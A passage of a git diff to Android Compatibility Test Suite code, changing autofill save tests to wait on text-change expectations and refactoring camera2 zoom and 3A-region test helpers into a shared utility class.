index 1ba0b07b..2866cbc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/SimpleSaveActivity.java
@@ -105,12 +105,16 @@
         mClearFieldsOnSubmit = flag;
     }
 
-    public FillExpectation expectAutoFill(String input) {
+    public FillExpectation expectInputTextChange(String input) {
         final FillExpectation expectation = new FillExpectation(input, null);
         mInput.addTextChangedListener(expectation.mInputWatcher);
         return expectation;
     }
 
+    public FillExpectation expectAutoFill(String input) {
+        return expectInputTextChange(input);
+    }
+
     public FillExpectation expectAutoFill(String input, String password) {
         final FillExpectation expectation = new FillExpectation(input, password);
         mInput.addTextChangedListener(expectation.mInputWatcher);
@@ -133,6 +137,10 @@
                     : new OneTimeTextWatcher("password", mPassword, password);
         }
 
+        public void assertTextChange() throws Exception {
+            assertAutoFilled();
+        }
+
         public void assertAutoFilled() throws Exception {
             mInputWatcher.assertAutoFilled();
             if (mPasswordWatcher != null) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
index 49d9fb2..65eca39 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
@@ -91,15 +91,18 @@
         mUiBot.waitForIdle();
         sReplier.getNextFillRequest();
 
+        // Set expected
+        mActivity.expectAutoFill("id", "pass");
+
         // Suggestion strip was shown.
         mUiBot.assertDatasets("Dataset");
         mUiBot.selectDataset("Dataset");
-        mUiBot.waitForIdle();
+
+        // Verify auto filled
+        mActivity.assertAutoFilled();
 
         // Change username and password
-        mActivity.syncRunOnUiThread(() ->  mActivity.onUsername((v) -> v.setText("ID")));
-        mActivity.syncRunOnUiThread(() ->  mActivity.onPassword((v) -> v.setText("PASS")));
-        mUiBot.waitForIdle();
+        mActivity.setTextAndWaitTextChange("ID", "PASS");
 
         // Trigger save UI.
         mActivity.tapSave();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
index da84344..d07f95b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
@@ -92,8 +92,10 @@
         mUiBot.assertNoDatasetsEver();
 
         // Change input
+        final SimpleSaveActivity.FillExpectation changeExpectation =
+                mActivity.expectInputTextChange("ID");
         mActivity.syncRunOnUiThread(() -> mActivity.getInput().setText("ID"));
-        mUiBot.waitForIdle();
+        changeExpectation.assertTextChange();
 
         // Trigger save UI.
         mUiBot.selectByRelativeId(ID_COMMIT);
@@ -136,15 +138,19 @@
         mUiBot.assertDatasets("YO");
 
         // Select suggestion
+        final SimpleSaveActivity.FillExpectation fillExpectation =
+                mActivity.expectAutoFill("id", "pass");
         mUiBot.selectDataset("YO");
         mUiBot.waitForIdle();
 
         // Check the results.
-        mActivity.expectAutoFill("id", "pass");
+        fillExpectation.assertAutoFilled();
 
         // Change input
+        final SimpleSaveActivity.FillExpectation changeExpectation =
+                mActivity.expectInputTextChange("ID");
         mActivity.syncRunOnUiThread(() -> mActivity.getInput().setText("ID"));
-        mUiBot.waitForIdle();
+        changeExpectation.assertTextChange();
 
         // Trigger save UI.
         mUiBot.selectByRelativeId(ID_COMMIT);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
index 0794739..c2dfb13 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/testcore/Helper.java
@@ -906,6 +906,11 @@
             Log.v(TAG, "isRotationSupported(): is PC");
             return false;
         }
+        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_LANDSCAPE)
+                || !packageManager.hasSystemFeature(PackageManager.FEATURE_SCREEN_PORTRAIT)) {
+            Log.v(TAG, "isRotationSupported(): no screen orientation feature");
+            return false;
+        }
         return true;
     }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
index c068161..d725a8a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionCharacteristicsTest.java
@@ -21,6 +21,7 @@
 import android.hardware.camera2.CameraExtensionCharacteristics;
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.testcases.Camera2AndroidTestRule;
+import android.platform.test.annotations.AppModeFull;
 import android.renderscript.Allocation;
 import android.util.Log;
 import android.util.Range;
@@ -125,6 +126,7 @@
     }
 
     @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
     public void testExtensionAvailability() throws Exception {
         boolean extensionsAdvertised = false;
         for (String id : mTestRule.getCameraIdsUnderTest()) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 1ca6107..c2f43b8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -86,7 +86,7 @@
     private static final long EXPOSURE_TIME_BOUNDARY_60HZ_NS = 8333333L; // 8.3ms, Approximation.
     private static final long EXPOSURE_TIME_ERROR_MARGIN_NS = 100000L; // 100us, Approximation.
     private static final float EXPOSURE_TIME_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation.
-    private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.03f; // 3%, Approximation.
+    private static final float SENSITIVITY_ERROR_MARGIN_RATE = 0.06f; // 6%, Approximation.
     private static final int DEFAULT_NUM_EXPOSURE_TIME_STEPS = 3;
     private static final int DEFAULT_NUM_SENSITIVITY_STEPS = 8;
     private static final int DEFAULT_SENSITIVITY_STEP_SIZE = 100;
@@ -125,11 +125,6 @@
     private final Rational ZERO_R = new Rational(0, 1);
     private final Rational ONE_R = new Rational(1, 1);
 
-    private final int NUM_ALGORITHMS = 3; // AE, AWB and AF
-    private final int INDEX_ALGORITHM_AE = 0;
-    private final int INDEX_ALGORITHM_AWB = 1;
-    private final int INDEX_ALGORITHM_AF = 2;
-
     private enum TorchSeqState {
         RAMPING_UP,
         FIRED,
@@ -816,7 +811,8 @@
                 }
                 openDevice(id);
                 Size maxPreviewSize = mOrderedPreviewSizes.get(0);
-                digitalZoomTestByCamera(maxPreviewSize);
+                digitalZoomTestByCamera(maxPreviewSize, /*repeating*/false);
+                digitalZoomTestByCamera(maxPreviewSize, /*repeating*/true);
             } finally {
                 closeDevice();
             }
@@ -2562,7 +2558,7 @@
         stopPreview();
     }
 
-    private void digitalZoomTestByCamera(Size previewSize) throws Exception {
+    private void digitalZoomTestByCamera(Size previewSize, boolean repeating) throws Exception {
         final int ZOOM_STEPS = 15;
         final PointF[] TEST_ZOOM_CENTERS;
         final float maxZoom = mStaticInfo.getAvailableMaxDigitalZoomChecked();
@@ -2649,6 +2645,7 @@
         };
 
         final int CAPTURE_SUBMIT_REPEAT;
+        final int NUM_RESULTS_TO_SKIP;
         {
             int maxLatency = mStaticInfo.getSyncMaxLatency();
             if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
@@ -2656,6 +2653,11 @@
             } else {
                 CAPTURE_SUBMIT_REPEAT = maxLatency + 1;
             }
+            if (repeating) {
+                NUM_RESULTS_TO_SKIP = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY + 1;
+            } else {
+                NUM_RESULTS_TO_SKIP = CAPTURE_SUBMIT_REPEAT - 1;
+            }
         }
 
         if (VERBOSE) {
@@ -2664,7 +2666,7 @@
 
         for (MeteringRectangle[] meteringRect : defaultMeteringRects) {
             for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
-                update3aRegion(requestBuilder, algo,  meteringRect);
+                update3aRegion(requestBuilder, algo,  meteringRect, mStaticInfo);
             }
 
             for (PointF center : TEST_ZOOM_CENTERS) {
@@ -2680,21 +2682,29 @@
                     if (VERBOSE) {
                         Log.v(TAG, "Testing Zoom for factor " + zoomFactor + " and center " +
                                 center + " The cropRegion is " + cropRegions[i] +
-                                " Preview size is " + previewSize);
+                                " Preview size is " + previewSize + ", repeating is " + repeating);
                     }
                     requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, cropRegions[i]);
                     requests[i] = requestBuilder.build();
-                    for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) {
-                        if (VERBOSE) {
-                            Log.v(TAG, "submit crop region " + cropRegions[i]);
+                    if (VERBOSE) {
+                        Log.v(TAG, "submit crop region " + cropRegions[i]);
+                    }
+                    if (repeating) {
+                        mSession.setRepeatingRequest(requests[i], listener, mHandler);
+                        // Drop first few frames
+                        waitForNumResults(listener, NUM_RESULTS_TO_SKIP);
+                        // Interleave a regular capture
+                        mSession.capture(requests[0], listener, mHandler);
+                    } else {
+                        for (int j = 0; j < CAPTURE_SUBMIT_REPEAT; ++j) {
+                            mSession.capture(requests[i], listener, mHandler);
                         }
-                        mSession.capture(requests[i], listener, mHandler);
                     }
 
                     /*
                      * Validate capture result
                      */
-                    waitForNumResults(listener, CAPTURE_SUBMIT_REPEAT - 1); // Drop first few frames
+                    waitForNumResults(listener, NUM_RESULTS_TO_SKIP); // Drop first few frames
                     TotalCaptureResult result = listener.getTotalCaptureResultForRequest(
                             requests[i], NUM_RESULTS_WAIT_TIMEOUT);
                     List<CaptureResult> partialResults = result.getPartialResults();
@@ -2748,7 +2758,7 @@
                     // Verify Output 3A region is intersection of input 3A region and crop region
                     for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
                         validate3aRegion(result, partialResults, algo, expectRegions[i],
-                                false/*scaleByZoomRatio*/);
+                                false/*scaleByZoomRatio*/, mStaticInfo);
                     }
 
                     previousCrop = cropRegion;
@@ -2756,7 +2766,7 @@
 
                 if (maxZoom > 1.0f) {
                     mCollector.expectTrue(
-                            String.format("Most zoomed-in crop region should be smaller" +
+                            String.format("Most zoomed-in crop region should be smaller " +
                                             "than active array w/h" +
                                             "(last crop = %s, active array = %s)",
                                             previousCrop, activeArraySize),
@@ -2797,7 +2807,7 @@
         };
 
         for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
-            update3aRegion(requestBuilder, algo,  defaultMeteringRect);
+            update3aRegion(requestBuilder, algo,  defaultMeteringRect, mStaticInfo);
         }
 
         final int captureSubmitRepeat;
@@ -2894,7 +2904,8 @@
             // Verify Output 3A region is intersection of input 3A region and crop region
             boolean scaleByZoomRatio = zoomFactor > 1.0f;
             for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
-                validate3aRegion(result, partialResults, algo, expectRegions[i], scaleByZoomRatio);
+                validate3aRegion(result, partialResults, algo, expectRegions[i], scaleByZoomRatio,
+                        mStaticInfo);
             }
 
             previousRatio = resultZoomRatio;
@@ -2955,7 +2966,7 @@
             }
 
             aspectRatiosTested.add(aspectRatio);
-            digitalZoomTestByCamera(size);
+            digitalZoomTestByCamera(size, /*repeating*/false);
         }
     }
 
@@ -3419,148 +3430,4 @@
         correctedExpTime = correctedExpTime - (correctedExpTime % flickeringBoundary);
         return correctedExpTime;
     }
-
-    /**
-     * Update one 3A region in capture request builder if that region is supported. Do nothing
-     * if the specified 3A region is not supported by camera device.
-     * @param requestBuilder The request to be updated
-     * @param algoIdx The index to the algorithm. (AE: 0, AWB: 1, AF: 2)
-     * @param regions The 3A regions to be set
-     */
-    private void update3aRegion(
-            CaptureRequest.Builder requestBuilder, int algoIdx, MeteringRectangle[] regions)
-    {
-        int maxRegions;
-        CaptureRequest.Key<MeteringRectangle[]> key;
-
-        if (regions == null || regions.length == 0) {
-            throw new IllegalArgumentException("Invalid input 3A region!");
-        }
-
-        switch (algoIdx) {
-            case INDEX_ALGORITHM_AE:
-                maxRegions = mStaticInfo.getAeMaxRegionsChecked();
-                key = CaptureRequest.CONTROL_AE_REGIONS;
-                break;
-            case INDEX_ALGORITHM_AWB:
-                maxRegions = mStaticInfo.getAwbMaxRegionsChecked();
-                key = CaptureRequest.CONTROL_AWB_REGIONS;
-                break;
-            case INDEX_ALGORITHM_AF:
-                maxRegions = mStaticInfo.getAfMaxRegionsChecked();
-                key = CaptureRequest.CONTROL_AF_REGIONS;
-                break;
-            default:
-                throw new IllegalArgumentException("Unknown 3A Algorithm!");
-        }
-
-        if (maxRegions >= regions.length) {
-            requestBuilder.set(key, regions);
-        }
-    }
-
-    /**
-     * Validate one 3A region in capture result equals to expected region if that region is
-     * supported. Do nothing if the specified 3A region is not supported by camera device.
-     * @param result The capture result to be validated
-     * @param partialResults The partial results to be validated
-     * @param algoIdx The index to the algorithm. (AE: 0, AWB: 1, AF: 2)
-     * @param expectRegions The 3A regions expected in capture result
-     * @param scaleByZoomRatio whether to scale the error threshold by zoom ratio
-     */
-    private void validate3aRegion(
-            CaptureResult result, List<CaptureResult> partialResults, int algoIdx,
-            MeteringRectangle[] expectRegions, boolean scaleByZoomRatio)
-    {
-        // There are multiple cases where result 3A region could be slightly different than the
-        // request:
-        // 1. Distortion correction,
-        // 2. Adding smaller 3a region in the test exposes existing devices' offset is larger
-        //    than 1.
-        // 3. Precision loss due to converting to HAL zoom ratio and back
-        // 4. Error magnification due to active array scale-up when zoom ratio API is used.
-        //
-        // To handle all these scenarios, make the threshold larger, and scale the threshold based
-        // on zoom ratio. The scaling factor should be relatively tight, and shouldn't be smaller
-        // than 1x.
-        final int maxCoordOffset = 5;
-        int maxRegions;
-        CaptureResult.Key<MeteringRectangle[]> key;
-        MeteringRectangle[] actualRegion;
-
-        switch (algoIdx) {
-            case INDEX_ALGORITHM_AE:
-                maxRegions = mStaticInfo.getAeMaxRegionsChecked();
-                key = CaptureResult.CONTROL_AE_REGIONS;
-                break;
-            case INDEX_ALGORITHM_AWB:
-                maxRegions = mStaticInfo.getAwbMaxRegionsChecked();
-                key = CaptureResult.CONTROL_AWB_REGIONS;
-                break;
-            case INDEX_ALGORITHM_AF:
-                maxRegions = mStaticInfo.getAfMaxRegionsChecked();
-                key = CaptureResult.CONTROL_AF_REGIONS;
-                break;
-            default:
-                throw new IllegalArgumentException("Unknown 3A Algorithm!");
-        }
-
-        int maxDist = maxCoordOffset;
-        if (scaleByZoomRatio) {
-            Float zoomRatio = result.get(CaptureResult.CONTROL_ZOOM_RATIO);
-            for (CaptureResult partialResult : partialResults) {
-                Float zoomRatioInPartial = partialResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
-                if (zoomRatioInPartial != null) {
-                    mCollector.expectEquals("CONTROL_ZOOM_RATIO in partial result must match"
-                            + " that in final result", zoomRatio, zoomRatioInPartial);
-                }
-            }
-            maxDist = (int)Math.ceil(maxDist * Math.max(zoomRatio / 2, 1.0f));
-        }
-
-        if (maxRegions > 0)
-        {
-            actualRegion = getValueNotNull(result, key);
-            for (CaptureResult partialResult : partialResults) {
-                MeteringRectangle[] actualRegionInPartial = partialResult.get(key);
-                if (actualRegionInPartial != null) {
-                    mCollector.expectEquals("Key " + key.getName() + " in partial result must match"
-                            + " that in final result", actualRegionInPartial, actualRegion);
-                }
-            }
-
-            for (int i = 0; i < actualRegion.length; i++) {
-                // If the expected region's metering weight is 0, allow the camera device
-                // to override it.
-                if (expectRegions[i].getMeteringWeight() == 0) {
-                    continue;
-                }
-
-                Rect a = actualRegion[i].getRect();
-                Rect e = expectRegions[i].getRect();
-
-                if (VERBOSE) {
-                    Log.v(TAG, "Actual region " + actualRegion[i].toString() +
-                            ", expected region " + expectRegions[i].toString() +
-                            ", maxDist " + maxDist);
-                }
-                if (!mCollector.expectLessOrEqual(
-                    "Expected 3A regions: " + Arrays.toString(expectRegions) +
-                    " are not close enough to the actual one: " + Arrays.toString(actualRegion),
-                    maxDist, Math.abs(a.left - e.left))) continue;
-                if (!mCollector.expectLessOrEqual(
-                    "Expected 3A regions: " + Arrays.toString(expectRegions) +
-                    " are not close enough to the actual one: " + Arrays.toString(actualRegion),
-                    maxDist, Math.abs(a.right - e.right))) continue;
-                if (!mCollector.expectLessOrEqual(
-                    "Expected 3A regions: " + Arrays.toString(expectRegions) +
-                    " are not close enough to the actual one: " + Arrays.toString(actualRegion),
-                    maxDist, Math.abs(a.top - e.top))) continue;
-                if (!mCollector.expectLessOrEqual(
-                    "Expected 3A regions: " + Arrays.toString(expectRegions) +
-                    " are not close enough to the actual one: " + Arrays.toString(actualRegion),
-                    maxDist, Math.abs(a.bottom - e.bottom))) continue;
-            }
-        }
-    }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
index 262f903..35edd77 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
@@ -94,7 +94,7 @@
     private SimpleMultiResolutionImageReaderListener mListener;
 
     @Test
-    public void testMultiResolutionCaptureCharacteristics() {
+    public void testMultiResolutionCaptureCharacteristics() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             if (VERBOSE) {
                 Log.v(TAG, "Testing multi-resolution capture characteristics for Camera " + id);
@@ -154,11 +154,8 @@
                                 physicalCameraIds.contains(physicalCameraId));
                     }
 
-                    StaticMetadata pInfo = mAllStaticInfo.get(physicalCameraId);
-                    CameraCharacteristics pChar = pInfo.getCharacteristics();
-                    StreamConfigurationMap pConfig = pChar.get(
-                            CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
-                    Size[] sizes = pConfig.getOutputSizes(format);
+                    Size[] sizes = CameraTestUtils.getSupportedSizeForFormat(format,
+                            physicalCameraId, mCameraManager);
                     assertTrue(String.format("Camera %s must "
                             + "support at least one output size for output "
                             + "format %d.", physicalCameraId, format),
@@ -166,13 +163,10 @@
 
                     List<Size> maxSizes = new ArrayList<Size>();
                     maxSizes.add(CameraTestUtils.getMaxSize(sizes));
-                    StreamConfigurationMap pMaxResConfig = pChar.get(CameraCharacteristics.
-                            SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION);
-                    if (pMaxResConfig != null) {
-                        Size[] maxResSizes = pMaxResConfig.getOutputSizes(format);
-                        if (maxResSizes != null && maxResSizes.length > 0) {
-                            maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes));
-                        }
+                    Size[] maxResSizes = CameraTestUtils.getSupportedSizeForFormat(format,
+                            physicalCameraId, mCameraManager, /*maxResolution*/true);
+                    if (maxResSizes != null && maxResSizes.length > 0) {
+                        maxSizes.add(CameraTestUtils.getMaxSize(maxResSizes));
                     }
 
                     assertTrue(String.format("Camera %s's supported multi-resolution"
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 9009f9f..14032da 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -296,7 +296,7 @@
         testSingleCaptureForFormat(JPEG_FORMAT, "jpeg", /*addPreviewDelay*/ true);
         if (!mTestRule.isPerfMeasure()) {
             int[] YUV_FORMAT = {ImageFormat.YUV_420_888};
-            testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ false);
+            testSingleCaptureForFormat(YUV_FORMAT, null, /*addPreviewDelay*/ true);
             int[] PRIVATE_FORMAT = {ImageFormat.PRIVATE};
             testSingleCaptureForFormat(PRIVATE_FORMAT, "private", /*addPreviewDelay*/ true);
             int[] RAW_FORMAT = {ImageFormat.RAW_SENSOR};
diff --git a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
index 61dde71..fab14b8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ZoomCaptureTest.java
@@ -28,6 +28,7 @@
 import android.media.ImageReader;
 import android.os.Build;
 import android.os.ConditionVariable;
+import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.util.Size;
 
@@ -69,6 +70,7 @@
     }
 
     @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
     public void testJpegZoomCapture() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             try {
@@ -82,6 +84,7 @@
     }
 
     @Test
+    @AppModeFull(reason = "Instant apps can't access Test API")
     public void testRawZoomCapture() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             try {
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index 1c7bf7c..8c5cb93 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -16,6 +16,7 @@
 
 package android.hardware.camera2.cts;
 
+import androidx.annotation.NonNull;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.graphics.ImageFormat;
@@ -127,6 +128,11 @@
 
     public static final int MAX_READER_IMAGES = 5;
 
+    public static final int INDEX_ALGORITHM_AE = 0;
+    public static final int INDEX_ALGORITHM_AWB = 1;
+    public static final int INDEX_ALGORITHM_AF = 2;
+    public static final int NUM_ALGORITHMS = 3; // AE, AWB and AF
+
     public static final String OFFLINE_CAMERA_ID = "offline_camera_id";
     public static final String REPORT_LOG_NAME = "CtsCameraTestCases";
 
@@ -1542,9 +1548,13 @@
                 }
                 int h = (i == 0) ? height : height / 2;
                 for (int row = 0; row < h; row++) {
-                    int length = rowStride;
+                    // Each 10-bit pixel occupies 2 bytes
+                    int length = 2 * width;
                     buffer.get(data, offset, length);
                     offset += length;
+                    if (row < h - 1) {
+                        buffer.position(buffer.position() + rowStride - length);
+                    }
                 }
                 if (VERBOSE) Log.v(TAG, "Finished reading data from plane " + i);
                 buffer.rewind();
@@ -1679,16 +1689,31 @@
      */
     public static Size[] getSupportedSizeForFormat(int format, String cameraId,
             CameraManager cameraManager) throws CameraAccessException {
+        return getSupportedSizeForFormat(format, cameraId, cameraManager,
+                /*maxResolution*/false);
+    }
+
+    public static Size[] getSupportedSizeForFormat(int format, String cameraId,
+            CameraManager cameraManager, boolean maxResolution) throws CameraAccessException {
         CameraCharacteristics properties = cameraManager.getCameraCharacteristics(cameraId);
         assertNotNull("Can't get camera characteristics!", properties);
         if (VERBOSE) {
             Log.v(TAG, "get camera characteristics for camera: " + cameraId);
         }
-        StreamConfigurationMap configMap =
-                properties.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
+        CameraCharacteristics.Key<StreamConfigurationMap> configMapTag = maxResolution ?
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION :
+                CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP;
+        StreamConfigurationMap configMap = properties.get(configMapTag);
+        if (configMap == null) {
+            assertTrue("SCALER_STREAM_CONFIGURATION_MAP is null!", maxResolution);
+            return null;
+        }
+
         Size[] availableSizes = configMap.getOutputSizes(format);
-        assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
-                + format);
+        if (!maxResolution) {
+            assertArrayNotEmpty(availableSizes, "availableSizes should not be empty for format: "
+                    + format);
+        }
         Size[] highResAvailableSizes = configMap.getHighResolutionOutputSizes(format);
         if (highResAvailableSizes != null && highResAvailableSizes.length > 0) {
             Size[] allSizes = new Size[availableSizes.length + highResAvailableSizes.length];
@@ -1799,15 +1824,26 @@
 
         return sortedSizes;
     }
-
     /**
      * Get sorted (descending order) size list for given format. Remove the sizes larger than
      * the bound. If the bound is null, don't do the size bound filtering.
      */
     static public List<Size> getSortedSizesForFormat(String cameraId,
             CameraManager cameraManager, int format, Size bound) throws CameraAccessException {
+        return getSortedSizesForFormat(cameraId, cameraManager, format, /*maxResolution*/false,
+                bound);
+    }
+
+    /**
+     * Get sorted (descending order) size list for given format (with an option to get sizes from
+     * the maximum resolution stream configuration map). Remove the sizes larger than
+     * the bound. If the bound is null, don't do the size bound filtering.
+     */
+    static public List<Size> getSortedSizesForFormat(String cameraId,
+            CameraManager cameraManager, int format, boolean maxResolution, Size bound)
+            throws CameraAccessException {
         Comparator<Size> comparator = new SizeComparator();
-        Size[] sizes = getSupportedSizeForFormat(format, cameraId, cameraManager);
+        Size[] sizes = getSupportedSizeForFormat(format, cameraId, cameraManager, maxResolution);
         List<Size> sortedSizes = null;
         if (bound != null) {
             sortedSizes = new ArrayList<Size>(/*capacity*/1);
@@ -1913,6 +1949,27 @@
     }
 
     /**
+     * Return the lower size
+     * @param a first size
+     *
+     * @param b second size
+     *
+     * @return Size the smaller size
+     *
+     * @throws IllegalArgumentException if either param was null.
+     *
+     */
+    @NonNull public static Size getMinSize(Size a, Size b) {
+        if (a == null || b == null) {
+            throw new IllegalArgumentException("sizes was empty");
+        }
+        if (a.getWidth() * a.getHeight() < b.getHeight() * b.getWidth()) {
+            return a;
+        }
+        return b;
+    }
+
+    /**
      * Get the largest size by area.
      *
      * @param sizes an array of sizes, must have at least 1 element
@@ -2047,6 +2104,156 @@
     }
 
     /**
+     * Update one 3A region in capture request builder if that region is supported. Do nothing
+     * if the specified 3A region is not supported by camera device.
+     * @param requestBuilder The request to be updated
+     * @param algoIdx The index to the algorithm. (AE: 0, AWB: 1, AF: 2)
+     * @param regions The 3A regions to be set
+     * @param staticInfo static metadata characteristics
+     */
+    public static void update3aRegion(
+            CaptureRequest.Builder requestBuilder, int algoIdx, MeteringRectangle[] regions,
+            StaticMetadata staticInfo)
+    {
+        int maxRegions;
+        CaptureRequest.Key<MeteringRectangle[]> key;
+
+        if (regions == null || regions.length == 0 || staticInfo == null) {
+            throw new IllegalArgumentException("Invalid input 3A region!");
+        }
+
+        switch (algoIdx) {
+            case INDEX_ALGORITHM_AE:
+                maxRegions = staticInfo.getAeMaxRegionsChecked();
+                key = CaptureRequest.CONTROL_AE_REGIONS;
+                break;
+            case INDEX_ALGORITHM_AWB:
+                maxRegions = staticInfo.getAwbMaxRegionsChecked();
+                key = CaptureRequest.CONTROL_AWB_REGIONS;
+                break;
+            case INDEX_ALGORITHM_AF:
+                maxRegions = staticInfo.getAfMaxRegionsChecked();
+                key = CaptureRequest.CONTROL_AF_REGIONS;
+                break;
+            default:
+                throw new IllegalArgumentException("Unknown 3A Algorithm!");
+        }
+
+        if (maxRegions >= regions.length) {
+            requestBuilder.set(key, regions);
+        }
+    }
+
+    /**
+     * Validate one 3A region in capture result equals to expected region if that region is
+     * supported. Do nothing if the specified 3A region is not supported by camera device.
+     * @param result The capture result to be validated
+     * @param partialResults The partial results to be validated
+     * @param algoIdx The index to the algorithm. (AE: 0, AWB: 1, AF: 2)
+     * @param expectRegions The 3A regions expected in capture result
+     * @param scaleByZoomRatio whether to scale the error threshold by zoom ratio
+     * @param staticInfo static metadata characteristics
+     */
+    public static void validate3aRegion(
+            CaptureResult result, List<CaptureResult> partialResults, int algoIdx,
+            MeteringRectangle[] expectRegions, boolean scaleByZoomRatio, StaticMetadata staticInfo)
+    {
+        // There are multiple cases where result 3A region could be slightly different than the
+        // request:
+        // 1. Distortion correction,
+        // 2. Adding smaller 3a region in the test exposes existing devices' offset is larger
+        //    than 1.
+        // 3. Precision loss due to converting to HAL zoom ratio and back
+        // 4. Error magnification due to active array scale-up when zoom ratio API is used.
+        //
+        // To handle all these scenarios, make the threshold larger, and scale the threshold based
+        // on zoom ratio. The scaling factor should be relatively tight, and shouldn't be smaller
+        // than 1x.
+        final int maxCoordOffset = 5;
+        int maxRegions;
+        CaptureResult.Key<MeteringRectangle[]> key;
+        MeteringRectangle[] actualRegion;
+
+        switch (algoIdx) {
+            case INDEX_ALGORITHM_AE:
+                maxRegions = staticInfo.getAeMaxRegionsChecked();
+                key = CaptureResult.CONTROL_AE_REGIONS;
+                break;
+            case INDEX_ALGORITHM_AWB:
+                maxRegions = staticInfo.getAwbMaxRegionsChecked();
+                key = CaptureResult.CONTROL_AWB_REGIONS;
+                break;
+            case INDEX_ALGORITHM_AF:
+                maxRegions = staticInfo.getAfMaxRegionsChecked();
+                key = CaptureResult.CONTROL_AF_REGIONS;
+                break;
+            default:
+                throw new IllegalArgumentException("Unknown 3A Algorithm!");
+        }
+
+        int maxDist = maxCoordOffset;
+        if (scaleByZoomRatio) {
+            Float zoomRatio = result.get(CaptureResult.CONTROL_ZOOM_RATIO);
+            for (CaptureResult partialResult : partialResults) {
+                Float zoomRatioInPartial = partialResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+                if (zoomRatioInPartial != null) {
+                    assertEquals("CONTROL_ZOOM_RATIO in partial result must match"
+                            + " that in final result", zoomRatio, zoomRatioInPartial);
+                }
+            }
+            maxDist = (int)Math.ceil(maxDist * Math.max(zoomRatio / 2, 1.0f));
+        }
+
+        if (maxRegions > 0)
+        {
+            actualRegion = getValueNotNull(result, key);
+            for (CaptureResult partialResult : partialResults) {
+                MeteringRectangle[] actualRegionInPartial = partialResult.get(key);
+                if (actualRegionInPartial != null) {
+                    assertEquals("Key " + key.getName() + " in partial result must match"
+                            + " that in final result", actualRegionInPartial, actualRegion);
+                }
+            }
+
+            for (int i = 0; i < actualRegion.length; i++) {
